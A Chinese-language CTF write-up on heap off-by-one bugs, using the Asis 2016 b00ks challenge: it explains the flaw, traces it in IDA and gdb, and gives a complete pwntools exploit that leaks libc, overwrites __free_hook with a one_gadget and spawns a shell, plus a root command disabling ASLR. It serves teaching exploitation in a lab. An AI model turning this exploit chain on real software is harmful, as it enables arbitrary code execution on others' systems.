堆中的off-by-one

参考资料

1
2
3
https://hollk.blog.csdn.net/article/details/108116618
https://www.yuque.com/cyberangel/rg9gdm/gg4bw4#pry13
https://blog.csdn.net/song_lee/article/details/103565826

简介及定义

off-by-one这项技术不仅适合用于堆,而且适用于栈。但是在CTF中最常见的还是在堆中的应用。严格来说off-by-one是一种特殊的溢出漏洞,当程序在缓冲区写入并溢出的时候,写入的字节数超过了这个缓冲区本身所申请的字节数并且只越界了一个字节。

漏洞原理

off-by-one这种漏洞的形成和整数溢出很相似,往往都是由于对边界的检查不够严谨,当然也不排除和写入的size正好就多了一个字节的情况,边界验证不严谨通常有两种情况:

  • 使用循环语句向堆块写入数据时,循环的次数设置错误,导致多写了一个字节,这篇文章讲的就是这个漏洞
  • 堆字符串长度判断有误

举例讲解原理

1、循环边界不严谨:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int my_gets(char *ptr,int size)
{
int i;
for(i = 0; i <= size; i++)
{
ptr[i] = getchar();
}
return i;
}
int main()
{
char *chunk1,*chunk2;
chunk1 = (char *)malloc(16);
chunk2 = (char *)malloc(16);
puts("Get Input:");
my_gets(chunk1, 16);
return 0;
}

看一下这个例子的流程,首先创建了两个char类型的指针chunk1,chunk2,并且分别创建了两个16个字节的堆,接着向my_gets函数重传入了chunk1和16。my_gets函数的作用是从外界接收字符串并讲字符串存放进chunk1的堆中。但是在存入的时候发生了边界不严谨的情况for(i=0;i<=size;i++)。i从0开始,但是i<=16,也就是说循环实际上是走了17次的,这就导致了chunk1会溢出一个字节

2、对字符串长度判断有误

1
2
3
4
5
6
7
8
9
10
11
12
13
int main(void)
{
char buffer[40]="";
void *chunk1;
chunk1=malloc(24);
puts("Get Input");
gets(buffer);
if(strlen(buffer)==24)
{
strcpy(chunk1,buffer);
}
return 0;
}

创建了一个40字节的字符串buffer,又创建了一个24字节的堆chunk1。因为字符串会带上一个\x00结束符。strcpy函数在拷贝的时候也会将结束符\x00存入堆块中,所以说chunk1中一共写了25个字节,这就导致了chunk1溢出了一个字节。

实例讲解

题目附件

1
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/off_by_one/Asis_2016_b00ks

首先检查下文件的保护情况:

image-20230719093609855

可以看到这是64位程序,除了canary保护其它全开。为了方便讲解,需要关闭一下ASLR保护,如果不关,libc的地址会变,方法如下(需要在root权限下执行):

1
echo 0 > /proc/sys/kernel/randomize_va_space    

重启虚拟机之后ASLR会自动开启

程序流程

需要先给上程序任意用户读写执行权限,接着运行一下

1
chmod +777 b00ks

image-20230719094252036

是一个菜单程序,先输入作者名,接着出来几个选项:

  1. 创建图书
  2. 删除图书
  3. 修改图书内容
  4. 打印图书内容
  5. 更改作者名
  6. 退出
1、创建图书:

image-20230719094554097

可以通过payload自动化调用程序中的creat函数,以代替我我们手动创建图书,使用payload表示如下

image-20230719094824825

2、删除图书

使用删除功能需要输入输入图书的id,图书的id是创建图书的时候就从1分配的,可以创建payload的deletebook函数来进行自动化删除。

image-20230719095300642

image-20230719095326511

3、修改图书的类型

修改图书类型需要输入两个内容:图书id,新的图书类型,payload如下:

image-20230719095533327

4、打印图书的信息

直接打印一下图书的数据信息,当然,和上面的一样:

image-20230719095706863

打印信息只需要输入程序功能的序号4就会打印出所有的图书信息:图书id、书名、书的类型、作者名。使用payload传入程序功能序号4就行了。

image-20230719095848230

5、修改作者名

image-20230719100302427

这个功能只需要我们输入新的作者名,可以使用payload中向程序中传入5以执行修改作者名的功能。

image-20230719100446186

IDA静态分析

大概的内容看完了,接下来就该看IDA的静态分析了。

IDA在堆中的作用很大,可以帮助我们分析出程序的漏洞。

main函数分析

将文件载入到IDA中,首先来看main函数:

image-20230719101029379

如图所示,已经对main函数进行了注释,接下来重点看程序的主要功能,首先进入sub_B6D(),大致的语句注释如下:

image-20230719101434090

再进入到read_data_heap函数查看一下:

image-20230719101517741

从上图中可以看出存在for循环,参数传入的是32,循环实际上是运行了33次。所以根据文章开头的说法,可以知道这里存在着单字节溢出漏洞。

返回,看一下name_ptr:

image-20230719101747902

可以看见这个变量的指针保存在offset的0x202018处。记下这个地址,之后会使用到。

创建图书功能分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
__int64 sub_F55()
{
int input; // [rsp+0h] [rbp-20h] BYREF
int v2; // [rsp+4h] [rbp-1Ch]
void *v3; // [rsp+8h] [rbp-18h]
void *ptr; // [rsp+10h] [rbp-10h]
void *v5; // [rsp+18h] [rbp-8h]

input = 0; // input在栈中
printf("\nEnter book name size: ");
__isoc99_scanf("%d", &input); // 输入book_name size的大小
if ( input < 0 )
goto LABEL_2;
printf("Enter book name (Max 32 chars): ");
ptr = malloc(input); // 创建一个book_name size大小的堆
if ( !ptr )
{ // book_name_size大小创建成功
printf("unable to allocate enough space");
goto LABEL_17;
}
if ( (unsigned int)read_data_heap(ptr, input - 1) )// 向堆中输入book_name
{
printf("fail to read name");
goto LABEL_17;
}
input = 0; // input清0
printf("\nEnter book description size: ");
__isoc99_scanf("%d", &input);
if ( input < 0 ) // 输入书类型大小
{
LABEL_2:
printf("Malformed size");
}
else
{
v5 = malloc(input); // 创建书类型大小的堆
if ( v5 )
{
printf("Enter book description: ");
if ( (unsigned int)read_data_heap(v5, input - 1) )
{ // 向堆中输入书类型
printf("Unable to read description");
}
else
{
v2 = sub_B24(); // 为书籍分配book id
if ( v2 == -1 )
{
printf("Library is full");
}
else
{
v3 = malloc(0x20uLL); // 创建大小为32的堆
if ( v3 )
{
*((_DWORD *)v3 + 6) = input; // 存放书类型大小
*((_QWORD *)off_202010 + v2) = v3;
*((_QWORD *)v3 + 2) = v5;
*((_QWORD *)v3 + 1) = ptr;
*(_DWORD *)v3 = ++unk_202024; // 存放book id
return 0LL;
}
printf("Unable to allocate book struct");
}
}
}
else
{
printf("Fail to allocate memory");
}
}
LABEL_17:
if ( ptr )
free(ptr);
if ( v5 )
free(v5);
if ( v3 )
free(v3);
return 1LL;
}

看一下sub_B24(),这个函数主要用来为创建的书籍进行分配的ID:

image-20230719103500312

回到前一个函数,有:

image-20230719103928681从这个if语句,我们可以得到一个booK结构体

1
2
3
4
5
6
7
struct book
{
int id;
char *name;
char *description;
int size;
}

双击上图中的book_struct_ptr,进入:

image-20230719104118325

还记得这个图吗?off_202018中存放的是作者名,而off_202010中存放的是每个图书的指针。还记的前面留下来的问题吗:为什么sub_9F5()函数循环写入33次会造成off-by-one的影响?因为off_202018和off_202010是紧紧连在一起的,如果我们将作者名输入32个字节的字符串,那么循环多出来的一次会将\x00写到off_202010的起始第一个字节,也就是说会将创建的第一本图书的低字节覆盖掉。

这么讲可能没有什么画面感,没有关系,后面还会根据动态调试进行进一步演示和讲解。

修改图书内容功能分析

查看main函数中的sub_E17()函数:

image-20230719104610143

大致内容就是输入edit_id,根据这个变量对录入的book结构体的内容进行修改

删除图书功能

接下来是删除图书功能,进入函数sub_BBD

image-20230719104740963

这个函数也是通过book_id来对图书的信息进行删除,对struct结构体中的内容进行了free。

打印图书的信息功能分析

进入函数sub_D1F():

image-20230719105104514

这个函数对图书的每一个结构体进行了遍历,并打印处book结构体信息。

修改作者名功能分析

image-20230719105206400

直接调用read_data_heap函数将新输入的作者名写入到堆中,用户名的长度依然是32字节。

总结

  • 作者名存放在off_202018指针中,这个指针一共32个字节
  • 图书结构体指针存放在off_202010指针中
  • sub_9F5()函数存在off-by-one漏洞,在首次创建作者名或修改作者名的时候,如果填写32个字节的字符串,那么就会导致\x00溢出到off_202018的低位

借用下大佬文章的图片,大致的理论布局图如下:

img

思路讲解及动态调试

先关闭ASLR保护

定位作者名

gdb打开程序并按’r’运行起来,在首次创建作者名的位置,输入32个字节的字符串将存放作者名的off_202018空间填满:

image-20230719110256502

接着我们ctrl + c进入调试界面,在这里我们需要定位刚才输入的作者名,方式有两种:

1、因为我们知道作者名存放在off_202018中,所以我们只需要知道代码段的基地址在加上off_202018的偏移就可以找到存放作者名的指针了,首先我们输入命令vmmap查看一下代码段的起始地址
image-20230719111444253

可以看到第一个可读可执行的红色就是代码段了,并且能够找到这个代码段的起始位置为0x555555554000

image-20230719111813644

可以看到off_202018的偏移为0x202018,那么将代码段起始地址加上off_202018的偏移就可以得到存放作者名地址的指针了:

0x555555554000 + 0x202018 = 0x555555756018

使用命令x/16gx 0x555555756018查看一下:

image-20230719111929234

可以看到0x555555756018中存放的是存放用户名的地址0x555555756040,0x555555756040的位置正好就是我们刚才输入的32个字节的作者名

2、直接输入命令‘search 作者名’

image-20230719112044992

可以看到我们的字符串存放在0x555555756040位置,我们直接输入命令x/16gx 0x555555756040就可以看到字符串了

image-20230719112149675

红色框住的就是\x00覆盖的第33个字节。

泄露出图书结构体指针

接下来输入命令c回到程序执行界面,输入1创建两个图书:

  • 图书1:书名大小 = 208,书名book_name1,类型大小 = 200,内容book_desc1
  • 图书2:书名大小 = 135168,书名book_name2,类型大小 = 135168,内容book_desc2

image-20230719112433306

1
为什么要将书1的书名大小设为208呢?书2的书名和内容要设为135168呢?之后再说

接着我们输入命令ctrl + c回到调试界面,这次我们定位一下两个书结构体的位置,因为图书的结构体指针存放在off_202010中,所以还是用老方法数据段起始地址加上偏移

1
0x555555554000 + 0x202010 = 0x555555756010

输入命令x/16gx 0x555555756010查看一下off_202010:

image-20230719113325998

可以看到0x555555756060中存放的就是图书1的结构体指针,紧跟着的就是图书2的结构体指针。还有一点需要注意的是我们输入的作者名也紧紧地贴在两个结构体指针前面,这是因为存放这两个东西的off_202010和off_202018是挨着的

image-20230719130934261

由于作者名和book1结构体相连,所以事实上book1结构体指针的低位e0将原有作者名溢出的\x00覆盖掉了。因此它会将book1的结构体地址打印出来(由于\x00存在,不会打印出book2的地址)

我们试一下,在输入命令c,输入4打印图书信息。

image-20230719114120367

可以看到book1的结构体指针已经被泄露出来了。

记录一下此时的book1结构体指针。

编写部分exp自动化完成上述操作:

1
2
3
4
create_book(64, "book1", 200, "description1")
book1_id, book1_name, book1_desc, author = print_book(1)
book1_addr = u64(author[32: 32 + 6].ljust(8, "\x00"))
log.info("book1_addr: " + str(book1_addr))

覆盖原有结构体指针

首先看一下book1结构体内容,输入命令x/20gx 0x55555575d0

image-20230719130958265

可以看到上半部分就是book1的结构体,下半部分就是book2的结构体,我们直接看book1的结构体:

  • 0x5555557575d0: book_id
  • 0x5555557575d8: book_name1
  • 0x5555557575e0: book_desc1

我们需要注意的是0x5555557575e0这个地址里面存放的是book1_desc,拿出你的记事本把这一点记下来

接下来我们去想一下,既然book1的结构体指针低位能够覆盖作者名的\x00,那么作者名的\x00是不是也能够覆盖结构体指针的低位呢?正好这个程序还有修改作者名的功能,而且在前面ida分析的时候发现新的作者名依然还会存放在202018的位置。那么我们预想一下book1的结构体指针是0x5555557575d0那么被覆盖之后就会变成0x555555757500,不就是book_desc1的位置吗?

那么我们就修改一下作者名验证一下

image-20230719131537036

指向book1结构体指针变为0x555555757500了,这个地址正好指向的是book_desc1,所以这就是为是什么前面size填写208的原因(经调试出来的)。

可以看到book1原有的结构体指针0x5555557575d0被\x00覆盖成了0x555555757500,现在拿出你的记事本,0x555555757500的位置就是刚才book1_desc的位置,这也是为什么要将book1_name设置成208的原因。那么我们去想想一想,调用一本书的流程:首先是和图书id对应着图书的结构体指针,结构体指针对应着结构体,结构体带动其中的成员变量。那么上图我们通过\x00覆盖之后原有的结构体指针变成了0x555555757500,那么程序就会去0x555555757500的位置寻找结构体。如果我们在原有的book1的book1_desc的位置伪造一个结构体,然后在进行\x00覆盖,那么就把伪造的结构体当做book1来实现.

伪造结构体并泄露book2书名、内容地址

book1_size为什么填208已经作了解释,那为什么book2的name_size和desc_size为135168。这是因为我们申请一个超大块的空间,使得堆以mmap的形式进行扩展,那么mmap申请的这个空间会以单独的段形式表示。只有接近或超过top_chunk的size大小的时候才会使用mmap进行拓展,具体的数字需要尝试几次。

如果发现下图出现mmap的话,就可以判断输入多大的值了。如果没有出现标识的话,可以查看是否存在紫色不断变换空间大小的data段。

image-20230719191312388

由于关闭了ASLR保护,所以libc.so的基地址就不会发生改变了,因为book2的结构体成员的地址所属为mmap申请的空间,那么mmap地址不变、libc.so基地址不变,就会导致book2成员变量中的地址所在位置距离libc.so的偏移不变。那么如果可以通过泄露book2结构体成员变量中的地址的话,减去这个这个偏移就会得到libc.so的基地址。一旦得到了libc.so的基地址,我们可以利用pwntools的工具找到一些可以利用的函数了。

借用一下holk大佬的图修改一下。

从部署伪造的结构体开始。

首先是fake_book1_id,既然我们想要完全将原有的book1替换掉,那么fake_book1_id就必须为1,这样才能按照第一个book的形式替代原有的book1。接下来是fake_book1_name,这里我们将指向book2_name的地址,fake_book1_desc指向book2_desc的地址。这样一来我们再一次执行打印功能的时候就会将book2_name和book2_desc的地址打印出来了。
image-20230719191550307

获得book1结构体指针后,需要计算下book_name2和book_desc2的地址

image-20230719192702064

用0x55555575d0减去0x5555557608得到0x38是book_name2偏移,同理0x55555575d0减去0x5555557610得0x40是book_desc2的偏移

这样一来,结尾加上oxffff作为结束符,我们伪造的结构体就完成了:

1
payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)

我们部署好结构体之后还需要重新修改一下作者名,因为我们的结构体是写在原book1_desc中的,所以按照攻击流程上来说应该先部署伪造的结构体,然后再使用\x00覆盖book1结构体指针,使指针指向我们伪造的结构体

使用代码将上诉操作进行编写:

1
2
3
4
5
6
7
book1_addr = 0x5555557575d0
payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)
editbook(book_id_1, payload)
changename("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
book_id_1, book_name, book_des, book_author = printbook(1)
book2_name_addr = u64(book_name.ljust(8,"\x00"))
book2_des_addr = u64(book_des.ljust(8,"\x00"))

计算libc基地址、freehook、onegadget

既然我们得到了book2_name_addr和book2_des_addr就可以通过前面的方法去计算libc基地址了。ctrl + c回到调试界面,使用命令vmmap查看一下

image-20230719193452403具有可读可执行的.so就是我们要找的libc.so了,它的起始地址是0x7ffff7bcd000

接下来可以任选book2_name_addr或book2_des_addr其中一个计算偏移

1
0x7ffff7f98010->0x7ffff7a0d000 is -0x58b010 bytes (-0xb1602 words)

在得到libc基地址之后就可以通过pwntools查找函数了,可以直接利用pwntools查找free_hook函数

1
free_hook = libc_base + libc.symbols["__free_hook"]

接着使用命令one_gadget /lib/x86_64-linux-gnu/libc.so.6查看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL

# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL

# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL

# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL

挂钩子

因为我们选择的是book2_des_addr,所以思路就是先向伪造的结构体fake_book1的desc中部署free_hook,然后再向book2的desc中写onegadget,最后在释放book2的时候就可以触发execve(’/bin/sh’)了

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import *
context.log_level = "info"

binary = ELF("b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
sh = process("./b00ks")


def createbook(name_size, name, des_size, des):
sh.readuntil("> ")
sh.sendline("1")
sh.readuntil(": ")
sh.sendline(str(name_size))
sh.readuntil(": ")
sh.sendline(name)
sh.readuntil(": ")
sh.sendline(str(des_size))
sh.readuntil(": ")
sh.sendline(des)

def printbook(id):
sh.readuntil("> ")
sh.sendline("4")
sh.readuntil(": ")
for i in range(id):
book_id = int(sh.readline()[:-1])
sh.readuntil(": ")
book_name = sh.readline()[:-1]
sh.readuntil(": ")
book_des = sh.readline()[:-1]
sh.readuntil(": ")
book_author = sh.readline()[:-1]
return book_id, book_name, book_des, book_author

def createname(name):
sh.readuntil("name: ")
sh.sendline(name)

def changename(name):
sh.readuntil("> ")
sh.sendline("5")
sh.readuntil(": ")
sh.sendline(name)

def editbook(book_id,new_des):
sh.readuntil("> ")
sh.sendline("3")
sh.readuntil(": ")
sh.writeline(str(book_id))
sh.readuntil(": ")
sh.sendline(new_des)

def deletebook(book_id):
sh.sendline("2")
sh.recvuntil("Enter the book id you want to delete: ")
sh.sendline(str(id))

createname("hollkaaabbbbbbbbccccccccdddddddd")
createbook(208, "hollk_boo1", 200, "hollk_desc1")
createbook(0x21000, "hollk_boo2", 0x21000, "hollk_desc2")

book_id_1, book_name, book_des, book_author = printbook(1)
book1_addr = u64(book_author[32:32+6].ljust(8,'\x00'))
log.success("book1_address:" + hex(book1_addr))

payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr+0x40) + p64(0xffff)
editbook(book_id_1,payload)
changename("hollkaaabbbbbbbbccccccccdddddddd")

book_id_1, book_name, book_des, book_author = printbook(1)
book2_name_addr = u64(book_name.ljust(8,"\x00"))
book2_des_addr = u64(book_des.ljust(8,"\x00"))
log.success("book2 name addr:" + hex(book2_name_addr))
log.success("book2 des addr:" + hex(book2_des_addr))
libc_base = book2_des_addr - 0x58b010
log.success("libc base:" + hex(libc_base))

free_hook = libc_base + libc.symbols["__free_hook"]
one_gadget = libc_base+0xf02a4
log.success("free_hook:" + hex(free_hook))
log.success("one_gadget:" + hex(one_gadget))
editbook(1, p64(free_hook))
editbook(2, p64(one_gadget))
#gdb.attach(hollk)
deletebook(2)
sh.interactive()
# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL

# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL

# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL

# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL

这个对版本也是有要求的,有的时候高版本打不通。